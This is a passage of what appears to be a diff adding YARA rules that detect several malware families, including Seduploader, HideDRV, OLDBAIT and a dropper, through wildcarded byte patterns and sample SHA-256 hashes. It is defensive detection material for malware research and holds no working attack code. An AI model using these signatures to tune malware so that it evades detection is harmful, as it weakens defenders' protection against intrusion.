+		$block_9 = { 41 ?? 41 ?? 41 ?? 41 ?? 5? 5? 5? 5? 48 ?? ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 48 ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+
+	condition:
+		hash.sha256(0, filesize) == "993d38b57284ebead293296c4aaf4ecffe4f8ac63ca115ae9463368b407cef97" or
+		hash.sha256(0, filesize) == "a4a838150809d833f84ab590f2ef566be777d12655c1f2c5df17c895497262fa" or
+		10 of them
+}
+
+rule SeduploaderDropper {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 48 ?? ?? FF 1? ?? ?? ?? ?? 4C ?? ?? 48 ?? ?? 41 ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$block_1 = { 0F B7 ?? ?? 4C ?? ?? ?? 44 ?? ?? ?? 48 ?? ?? ?? ?? 33 ?? FF 1? ?? ?? ?? ?? 4C ?? ?? 48 ?? ?? 74 }
+		$block_2 = { 41 ?? ?? ?? 0F B6 ?? ?? ?? 88 ?? ?? ?? 88 ?? ?? ?? 8B ?? 0F B6 ?? ?? ?? 03 ?? 41 ?? ?? 7D }
+		$block_3 = { FF 1? ?? ?? ?? ?? 4C ?? ?? 41 ?? ?? 48 ?? ?? FF 1? ?? ?? ?? ?? 4C ?? ?? 48 ?? ?? 0F 84 }
+		$block_4 = { 0F B6 ?? 0F B6 ?? 0F AF ?? 8A ?? ?? 02 ?? ?? ?? ?? ?? 32 ?? 4? 88 ?? ?? 83 ?? ?? 72 }
+		$block_5 = { FF D? 5? 5? E8 ?? ?? ?? ?? 5? 5? 8B ?? ?? 5? 5? 33 ?? B0 ?? 5? E8 ?? ?? ?? ?? C9 C3 }
+		$block_6 = { FF 7? ?? 33 ?? 5? 5? FF 7? ?? 68 ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 83 ?? ?? 0F 9D }
+		$block_7 = { 40 ?? 5? 5? 5? 41 ?? 41 ?? 41 ?? 41 ?? 48 ?? ?? ?? 48 ?? ?? 3B ?? ?? 0F 83 }
+		$block_8 = { 5? 5? BE ?? ?? ?? ?? 8D ?? ?? A5 A5 A4 BE ?? ?? ?? ?? 8D ?? ?? A5 66 ?? 33 }
+		$block_9 = { 42 ?? ?? ?? ?? ?? 0F 95 ?? 83 ?? ?? 88 ?? ?? 48 ?? ?? ?? 49 ?? ?? 0F 87 }
+		$block_10 = { 42 ?? ?? ?? ?? 0F 95 ?? 83 ?? ?? 88 ?? ?? 48 ?? ?? ?? 49 ?? ?? 0F 87 }
+		$block_11 = { 6A ?? FF 7? ?? 6A ?? 5? 5? FF 7? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_12 = { 42 ?? ?? ?? 83 ?? ?? 8D ?? ?? 89 ?? ?? 3B ?? ?? ?? ?? ?? ?? 0F 87 }
+		$block_13 = { 4C ?? ?? ?? 48 ?? ?? 8B ?? 48 ?? ?? FF 5? ?? 45 ?? ?? 84 ?? 0F 84 }
+		$block_14 = { 0F B6 ?? ?? ?? ?? ?? 03 ?? 03 ?? ?? 33 ?? 4? 89 ?? 83 ?? ?? 72 }
+		$block_15 = { 40 ?? ?? 0F B6 ?? 8A ?? ?? ?? 42 ?? ?? ?? ?? 44 ?? ?? ?? ?? 75 }
+		$block_16 = { 45 ?? ?? ?? 40 ?? ?? ?? 0F B6 ?? ?? ?? 44 ?? ?? 45 ?? ?? 7D }
+		$block_17 = { 49 ?? ?? 48 ?? ?? 45 ?? ?? 66 ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$block_18 = { 8B ?? 4D ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 41 ?? ?? ?? ?? 0F 86 }
+		$block_19 = { 8B ?? ?? ?? 33 ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$block_20 = { 6A ?? 5? 6A ?? 6A ?? FF 7? ?? FF D? 8B ?? 83 ?? ?? 0F 84 }
+		$block_21 = { 5? 8D ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 83 ?? ?? ?? 5? 0F 85 }
+		$block_22 = { 42 ?? ?? ?? 83 ?? ?? 89 ?? ?? 48 ?? ?? ?? 49 ?? ?? 0F 87 }
+		$block_23 = { 4A ?? ?? ?? 83 ?? ?? 48 ?? ?? ?? 89 ?? ?? 49 ?? ?? 0F 87 }
+		$block_24 = { 0F B6 ?? ?? ?? ?? ?? 03 ?? 03 ?? 33 ?? 4? 83 ?? ?? 72 }
+		$block_25 = { 8B ?? 83 ?? ?? 4A ?? ?? ?? 8D ?? ?? 41 ?? ?? 0F 87 }
+		$block_26 = { 48 ?? ?? ?? 4C ?? ?? ?? 45 ?? ?? 49 ?? ?? 0F 87 }
+		$block_27 = { 4A ?? ?? ?? 83 ?? ?? 8D ?? ?? ?? 41 ?? ?? 0F 87 }
+
+	condition:
+		hash.sha256(0, filesize) == "ff808d0a12676bfac88fd26f955154f8884f2bb7c534b9936510fd6296c543e8" or
+		hash.sha256(0, filesize) == "69d5123a277dc1f618be5edcc95938a0df148c856d2e1231a07e2743bd683e01" or
+		hash.sha256(0, filesize) == "4bcd11142d5b9f96730715905152a645a1bf487921dd65618c354281512a4ae7" or
+		hash.sha256(0, filesize) == "2884e438b4dbb3bcead37789908e2eb210ead820dfc03091dc7f46b50ddd1e5b" or
+		hash.sha256(0, filesize) == "63d0b28114f6277b901132bc1cc1f541a594ee72f27d95653c54e1b73382a5f6" or
+		12 of them
+}
+
+rule Seduploader {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 6A ?? 68 ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 5? FF 7? ?? 89 ?? ?? E8 ?? ?? ?? ?? 5? 5? 85 ?? 0F 84 }
+		$block_1 = { 0F B6 ?? 89 ?? ?? 8A ?? ?? ?? ?? ?? ?? 88 ?? ?? ?? ?? ?? ?? 88 ?? ?? ?? ?? ?? ?? 80 C? ?? 75 }
+		$block_2 = { 33 ?? 5? 5? 5? 68 ?? ?? ?? ?? FF 3? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_3 = { 5? 8B ?? 83 ?? ?? 5? 8B ?? 6A ?? FF 7? ?? E8 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 83 ?? ?? 0F 84 }
+		$block_4 = { 5? 8B ?? 83 ?? ?? 5? 8B ?? ?? 5? 5? 6A ?? 5? 8B ?? E8 ?? ?? ?? ?? 8B ?? 5? 5? 85 ?? 0F 84 }
+		$block_5 = { 83 ?? ?? ?? 8D ?? ?? 5? FF 7? ?? FF D? 8B ?? ?? 33 ?? 84 ?? 0F 44 ?? 33 ?? 85 ?? 0F 94 }
+		$block_6 = { 5? 8B ?? 83 ?? ?? 5? 8B ?? C6 ?? ?? ?? 5? 89 ?? ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_7 = { 5? E8 ?? ?? ?? ?? 5? FF 7? ?? E8 ?? ?? ?? ?? 8B ?? ?? 83 ?? ?? 8B ?? ?? 0F B6 }
+		$block_8 = { 8B ?? 33 ?? AB AB AB 83 ?? ?? ?? 83 ?? ?? ?? 8B ?? ?? C7 ?? ?? ?? ?? ?? EB }
+		$block_9 = { 0F B6 ?? 89 ?? ?? 8A ?? ?? ?? ?? ?? ?? 0F B6 ?? 03 ?? 25 ?? ?? ?? ?? 79 }
+		$block_10 = { 0F B7 ?? 8B ?? 66 ?? ?? ?? 25 ?? ?? ?? ?? 03 ?? 66 ?? ?? ?? 74 }
+		$block_11 = { 5? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 5? 5? 85 ?? 0F 84 }
+		$block_12 = { 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 4? 89 ?? ?? 83 ?? ?? 0F 82 }
+		$block_13 = { 5? 89 ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 5? 85 ?? 0F 84 }
+		$block_14 = { 8B ?? 4? 99 F7 ?? 8B ?? 80 C? ?? 88 ?? 85 ?? 75 }
+
+	condition:
+		hash.sha256(0, filesize) == "f5b3f920cdd1ea42905caf7f0894194aaf5096b9a90c77ac06139dcb42018f9e" or
+		12 of them
+}
+
+rule HideDRV {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 45 ?? ?? 45 ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 0F B6 ?? 85 ?? 75 }
+		$block_1 = { 48 ?? ?? ?? ?? 0F B7 ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? ?? 83 ?? ?? ?? ?? 7D }
+		$block_2 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 85 ?? 75 }
+		$block_3 = { 8B ?? ?? ?? 48 ?? ?? ?? ?? 0F B6 ?? ?? 88 ?? ?? ?? 0F B6 ?? ?? ?? 83 ?? ?? 74 }
+		$block_4 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 85 ?? 75 }
+		$block_5 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 85 ?? 74 }
+		$block_6 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 85 ?? 75 }
+		$block_7 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 0F BF ?? ?? 83 ?? ?? 85 ?? 74 }
+		$block_8 = { BA ?? ?? ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 85 ?? 0F 84 }
+		$block_9 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 33 ?? 85 ?? 0F 85 }
+		$block_10 = { BA ?? ?? ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 85 ?? 75 }
+		$block_11 = { 8B ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_12 = { 89 ?? ?? ?? 48 ?? ?? ?? 0F B6 ?? ?? ?? ?? ?? 85 ?? 74 }
+		$block_13 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? 0F B6 ?? ?? 83 ?? ?? 74 }
+		$block_14 = { 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 85 ?? 75 }
+
+	condition:
+		hash.sha256(0, filesize) == "4bfe2216ee63657312af1b2507c8f2bf362fdf1d63c88faba397e880c2e39430" or
+		12 of them
+}
+
+rule OLDBAIT {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 8D ?? ?? 5? 6A ?? FF D? 8B ?? ?? ?? 5? 5? 5? 89 ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 8D ?? ?? 6A ?? 33 ?? 5? 89 ?? ?? ?? FF D? 89 ?? ?? 8B ?? 89 ?? 89 ?? ?? 6A ?? 89 ?? ?? 5? 89 ?? ?? E8 ?? ?? ?? ?? 5? 5? 83 ?? ?? 3B ?? 0F 85 }
+		$block_1 = { 8D ?? ?? 5? 6A ?? FF D? 8B ?? ?? ?? 5? 5? 5? 89 ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 8D ?? ?? 6A ?? 33 ?? 5? 89 ?? ?? ?? FF D? 89 ?? ?? 8B ?? 89 ?? 89 ?? ?? 6A ?? 89 ?? ?? 5? 89 ?? ?? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 3B ?? 0F 85 }
+		$block_2 = { 5? 6A ?? 5? FF D? 5? 5? 8B ?? ?? ?? 89 ?? ?? 6A ?? 5? 89 ?? ?? ?? 89 ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 3B ?? 0F 84 }
+		$block_3 = { 5? 6A ?? 5? FF D? 8B ?? 8B ?? ?? ?? 89 ?? ?? 6A ?? 5? 89 ?? ?? ?? 89 ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 3B ?? 0F 84 }
+		$block_4 = { 8D ?? ?? 5? 6A ?? FF D? 8B ?? ?? ?? 5? 5? 5? 89 ?? E8 ?? ?? ?? ?? 83 ?? ?? 6A ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? 85 ?? 0F 84 }
+		$block_5 = { 5? 5? 83 ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 29 ?? 66 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 5? 5? 85 ?? 0F 84 }
+		$block_6 = { 8B ?? 83 ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 33 ?? 66 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_7 = { 5? 8B ?? 83 ?? ?? 5? 5? 5? C7 ?? ?? ?? ?? ?? ?? 8D ?? ?? 89 ?? ?? 8B ?? ?? 8B ?? ?? FF 7? ?? 60 FC B2 ?? 33 }
+		$block_8 = { 30 ?? ?? 0F B6 ?? C1 ?? ?? D1 ?? 4? 0B ?? 3B ?? 72 }
+
+	condition:
+		hash.sha256(0, filesize) == "10b02dfe93a30d5da0aab3559ec3a55dab6cd96e8ef7c4d1a8e86c59efe63634" or
+		hash.sha256(0, filesize) == "de006fffc2c0580844830436ee2bdce2f492072b72375b93867a1523c0275ecd" or
+		hash.sha256(0, filesize) == "360fc67cb295c0a79934f7899ed804424e0c6c4e316d7f3478f2f8c4386f5b68" or
+		hash.sha256(0, filesize) == "7313eaf95a8a8b4c206b9afe306e7c0675a21999921a71a5a16456894571d21d" or
+		9 of them
+}
+
+rule dropper {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 5? 8B ?? 8B ?? ?? B9 ?? ?? ?? ?? A1 ?? ?? ?? ?? 85 ?? 0F 45 ?? A3 ?? ?? ?? ?? 8B ?? ?? 85 ?? 74 }
+		$block_1 = { 0F B6 ?? 88 ?? ?? 8B ?? ?? ?? ?? ?? 03 ?? 89 ?? ?? 03 ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 5? 85 ?? 75 }
+		$block_2 = { 80 B? ?? ?? ?? ?? ?? 8D ?? ?? 8D ?? ?? 0F 44 ?? 5? 5? 89 ?? ?? E8 ?? ?? ?? ?? 5? 5? 85 ?? 0F 85 }
+		$block_3 = { 8D ?? ?? ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 5? 5? 33 ?? 8B ?? 4? 8B ?? E8 ?? ?? ?? ?? 5? 85 ?? 0F 85 }
+		$block_4 = { 0F B7 ?? 4? 8B ?? 89 ?? ?? 81 E? ?? ?? ?? ?? 66 ?? ?? ?? 8B ?? 03 ?? ?? 89 ?? ?? 66 ?? ?? ?? 75 }
+		$block_5 = { 0F 28 ?? ?? ?? ?? ?? 8B ?? 0F 11 ?? ?? C7 ?? ?? ?? ?? ?? ?? 0F 28 ?? ?? ?? ?? ?? 0F 11 ?? ?? C7 }
+		$block_6 = { 5? 8B ?? 81 E? ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 ?? 89 ?? ?? 5? 8B ?? 89 ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_7 = { 0F 57 ?? 32 ?? 66 ?? ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 }
+		$block_8 = { 8D ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? 5? FF B? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_9 = { 8D ?? ?? 0F B7 ?? 5? FF 7? ?? 89 ?? ?? 0F B7 ?? 5? 5? E8 ?? ?? ?? ?? 8B ?? ?? 83 ?? ?? 85 ?? 74 }
+		$block_10 = { 83 ?? ?? ?? 03 ?? 5? 8D ?? ?? 5? FF 5? ?? 8D ?? ?? 5? 8D ?? ?? 5? 6A ?? 6A ?? FF D? 85 ?? 0F 88 }
+		$block_11 = { 0F B6 ?? ?? 0F B6 ?? ?? C1 ?? ?? 0B ?? 0F B6 ?? ?? C1 ?? ?? 0B ?? 0F B6 ?? ?? C1 ?? ?? 0B ?? EB }
+		$block_12 = { 5? 8B ?? 81 E? ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 ?? 89 ?? ?? 8B ?? ?? 5? 8B ?? ?? 5? 83 ?? ?? 0F 84 }
+		$block_13 = { 8B ?? C7 ?? ?? ?? ?? ?? ?? 2B ?? ?? F7 ?? ?? ?? ?? ?? ?? 89 ?? ?? 0F B6 ?? ?? ?? 89 ?? ?? 74 }
+		$block_14 = { 5? 8B ?? 83 ?? ?? 8B ?? 33 ?? 5? 5? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 38 ?? 0F 84 }
+		$block_15 = { 5? 8B ?? 81 E? ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 ?? 89 ?? ?? 5? 5? 8B ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_16 = { 5? 8B ?? 5? 5? 8B ?? ?? 5? 8B ?? ?? 5? 0F B7 ?? 80 7? ?? ?? 8B ?? ?? 8B ?? ?? 89 ?? ?? 0F 85 }
+		$block_17 = { 8B ?? 0F 57 ?? 8B ?? ?? 89 ?? ?? 83 ?? ?? 66 ?? ?? ?? ?? 5? 8B ?? ?? 89 ?? ?? 89 ?? ?? 0F 88 }
+		$block_18 = { 5? 8B ?? ?? ?? ?? ?? 5? 6A ?? BF ?? ?? ?? ?? 5? 6A ?? 5? FF D? 89 ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_19 = { 80 B? ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 8D ?? ?? 0F 44 ?? 5? 5? E8 ?? ?? ?? ?? 5? 5? 85 ?? 0F 85 }
+		$block_20 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? 03 ?? ?? ?? ?? ?? 0F B7 ?? ?? C7 ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? 74 }
+		$block_21 = { 8D ?? ?? 33 ?? 4? 3B ?? ?? 89 ?? ?? 8B ?? ?? 8B ?? ?? 0F B6 ?? 0F 4E ?? 89 ?? ?? 84 ?? 75 }
+		$block_22 = { 8B ?? ?? FF B? ?? ?? ?? ?? 4? 01 ?? 8D ?? ?? 5? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 88 }
+		$block_23 = { 8B ?? ?? 8D ?? ?? 81 F? ?? ?? ?? ?? 0F 42 ?? 81 F? ?? ?? ?? ?? 8D ?? ?? 0F 43 ?? 85 ?? 74 }
+		$block_24 = { 8A ?? 8D ?? ?? 30 ?? ?? 0F B6 ?? 30 ?? ?? 0F B6 ?? 30 ?? ?? 0F B6 ?? 30 ?? ?? 83 ?? ?? 75 }
+		$block_25 = { 3B ?? 8B ?? 6A ?? 5? 0F 4C ?? 3B ?? 0F 4C ?? 8A ?? ?? ?? 88 ?? ?? ?? 4? 4? 4? 83 ?? ?? 7C }
+		$block_26 = { 8B ?? 0F AF ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? 89 ?? ?? 81 E? ?? ?? ?? ?? 89 ?? ?? 85 ?? 7E }
+		$block_27 = { FF 7? ?? 8D ?? ?? ?? ?? ?? FF B? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_28 = { 8B ?? ?? 4? 8B ?? ?? 83 ?? ?? 4? 89 ?? ?? 89 ?? ?? 89 ?? 8B ?? ?? 89 ?? ?? 3B ?? ?? 0F 8C }
+		$block_29 = { 8B ?? ?? 0F 57 ?? 8B ?? 8B ?? ?? 8B ?? 66 ?? ?? ?? ?? 03 ?? 89 ?? ?? 89 ?? ?? 3B ?? 0F 8D }
+		$block_30 = { B9 ?? ?? ?? ?? 83 ?? ?? 2B ?? 8B ?? ?? 3B ?? 0F B6 ?? 8B ?? ?? 6A ?? 5? 0F 4F ?? 84 ?? 75 }
+		$block_31 = { 8D ?? ?? ?? ?? ?? 5? 6A ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 6A ?? 5? 0F 45 ?? 85 ?? 0F 85 }
+		$block_32 = { 5? 5? 8D ?? ?? 5? 8D ?? ?? 5? 8D ?? ?? 5? 8D ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_33 = { 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 5? 85 ?? 5? 0F 45 ?? E8 ?? ?? ?? ?? 85 ?? 5? 5? 0F 45 }
+		$block_34 = { 0F BF ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 5? 8B ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 5? 85 ?? 74 }
+		$block_35 = { FF B? ?? ?? ?? ?? 5? 8D ?? ?? 5? 8B ?? ?? 5? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_36 = { 0F B7 ?? ?? ?? ?? ?? 5? 5? 5? FF 7? ?? E8 ?? ?? ?? ?? 83 ?? ?? F6 ?? ?? ?? ?? ?? ?? 75 }
+		$block_37 = { 8B ?? ?? 89 ?? ?? 8B ?? ?? F6 ?? ?? ?? 8B ?? ?? 8D ?? ?? 0F 45 ?? ?? 89 ?? ?? 85 ?? 74 }
+		$block_38 = { 8B ?? 8D ?? ?? ?? ?? ?? 2B ?? 5? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 81 F? ?? ?? ?? ?? 0F 83 }
+		$block_39 = { 8B ?? ?? FF 7? ?? 8B ?? ?? 4? 03 ?? 5? 8D ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_40 = { 8B ?? ?? 03 ?? ?? 03 ?? C7 ?? ?? ?? ?? ?? ?? 8D ?? ?? 3B ?? 8B ?? 0F 46 ?? 8D ?? ?? EB }
+		$block_41 = { 5? 8B ?? 83 ?? ?? BA ?? ?? ?? ?? 5? 5? 8B ?? 5? 8B ?? ?? 03 ?? 0F B7 ?? ?? 66 ?? ?? 75 }
+		$block_42 = { 68 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 8B ?? ?? 89 ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_43 = { 5? 8B ?? 83 ?? ?? A1 ?? ?? ?? ?? 33 ?? 89 ?? ?? 5? 8B ?? ?? B8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_44 = { 8B ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_45 = { 8B ?? ?? ?? ?? ?? 6A ?? 5? 3B ?? 6A ?? 0F 42 ?? 83 ?? ?? 5? 0F 48 ?? 89 ?? ?? 85 ?? 7E }
+		$block_46 = { 8B ?? ?? 33 ?? 8B ?? ?? 33 ?? 89 ?? ?? 8B ?? ?? 4? 66 ?? ?? ?? 8B ?? ?? 89 ?? ?? 0F 83 }
+		$block_47 = { 8B ?? ?? ?? ?? ?? 0F B7 ?? C1 ?? ?? 6A ?? 88 ?? ?? 5? 88 ?? ?? 89 ?? ?? ?? ?? ?? EB }
+		$block_48 = { 6A ?? 8D ?? ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_49 = { 8D ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_50 = { 8B ?? ?? 8B ?? ?? 5? 8B ?? 8B ?? 03 ?? 3B ?? 0F 4C ?? 89 ?? ?? 81 F? ?? ?? ?? ?? 7E }
+		$block_51 = { 5? 8B ?? 83 ?? ?? B8 ?? ?? ?? ?? 33 ?? 5? 5? 5? 8B ?? ?? 66 ?? ?? ?? ?? ?? ?? 0F 85 }
+		$block_52 = { 33 ?? 4? 6B ?? ?? 0F BE ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 7F }
+		$block_53 = { 8B ?? ?? 6A ?? 5? D3 ?? 03 ?? 5? 8D ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 5? 5? 85 ?? 0F 85 }
+		$block_54 = { 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 5? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 83 ?? ?? 0F 85 }
+		$block_55 = { 8D ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_56 = { 5? 6A ?? 8D ?? ?? ?? ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_57 = { 8B ?? ?? 0F B6 ?? ?? FF 0? 8B ?? 8B ?? 2B ?? 03 ?? 89 ?? ?? 89 ?? ?? 3B ?? ?? 77 }
+		$block_58 = { 8B ?? ?? 8B ?? ?? 5? 8B ?? ?? 4? 0F B6 ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? 83 ?? ?? 75 }
+		$block_59 = { 33 ?? 83 ?? ?? 0F 92 ?? F7 ?? 0B ?? 5? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 5? 85 ?? 74 }
+		$block_60 = { 2B ?? 8D ?? ?? ?? ?? ?? 5? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 81 F? ?? ?? ?? ?? 0F 83 }
+		$block_61 = { 2B ?? 8B ?? ?? 8D ?? ?? 3B ?? 0F 9D ?? FE ?? 24 ?? 4? 88 ?? ?? 4? 03 ?? 3B ?? 7C }
+		$block_62 = { 33 ?? 8D ?? ?? 5? 5? FF 7? ?? 89 ?? ?? FF 7? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_63 = { 5? 8B ?? 83 ?? ?? 8D ?? ?? 5? 8B ?? ?? FF 3? 5? E8 ?? ?? ?? ?? 5? 5? 85 ?? 0F 85 }
+		$block_64 = { 8B ?? 89 ?? ?? 8B ?? ?? 6A ?? 89 ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 5? 85 ?? 0F 84 }
+		$block_65 = { 8B ?? ?? BE ?? ?? ?? ?? 8D ?? ?? 83 ?? ?? A5 89 ?? ?? A5 A5 66 ?? 8B ?? ?? 8B }
+		$block_66 = { 8D ?? ?? 88 ?? ?? 5? 5? FF D? 0F 28 ?? ?? ?? ?? ?? A3 ?? ?? ?? ?? 8B ?? 0F 11 }
+		$block_67 = { 6B ?? ?? ?? 89 ?? ?? ?? ?? ?? 33 ?? 03 ?? ?? ?? ?? ?? 85 ?? 0F 95 ?? A8 ?? 74 }
+		$block_68 = { 8B ?? ?? 33 ?? 8B ?? ?? 8B ?? ?? 89 ?? ?? 3B ?? ?? 8B ?? ?? 0F 95 ?? 85 ?? 74 }
+		$block_69 = { 8B ?? ?? 6A ?? 5? 5? 83 ?? ?? 5? FF 7? ?? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_70 = { 8B ?? ?? ?? ?? ?? 89 ?? 8B ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 3B ?? 0F 83 }
+		$block_71 = { 8D ?? ?? 5? 5? FF D? 0F 28 ?? ?? ?? ?? ?? A3 ?? ?? ?? ?? 8B ?? 0F 11 ?? ?? 66 }
+		$block_72 = { 8B ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_73 = { 8A ?? ?? 24 ?? 0F B6 ?? 66 ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? 66 ?? ?? 66 ?? ?? 66 }
+		$block_74 = { 5? 8B ?? 5? 8B ?? ?? 5? 8B ?? ?? ?? ?? ?? 8B ?? 39 ?? ?? 0F 4C ?? ?? 85 ?? 75 }
+		$block_75 = { 33 ?? 8B ?? 39 ?? ?? 0F 45 ?? ?? C6 ?? ?? ?? 8B ?? ?? F7 ?? ?? ?? ?? ?? ?? 74 }
+		$block_76 = { A1 ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 3B ?? 5? 8B ?? 0F 45 ?? 39 ?? ?? ?? ?? ?? 7D }
+		$block_77 = { 0F B7 ?? ?? ?? ?? ?? 4? 3B ?? B8 ?? ?? ?? ?? 0F 47 ?? 66 ?? ?? ?? ?? ?? ?? 74 }
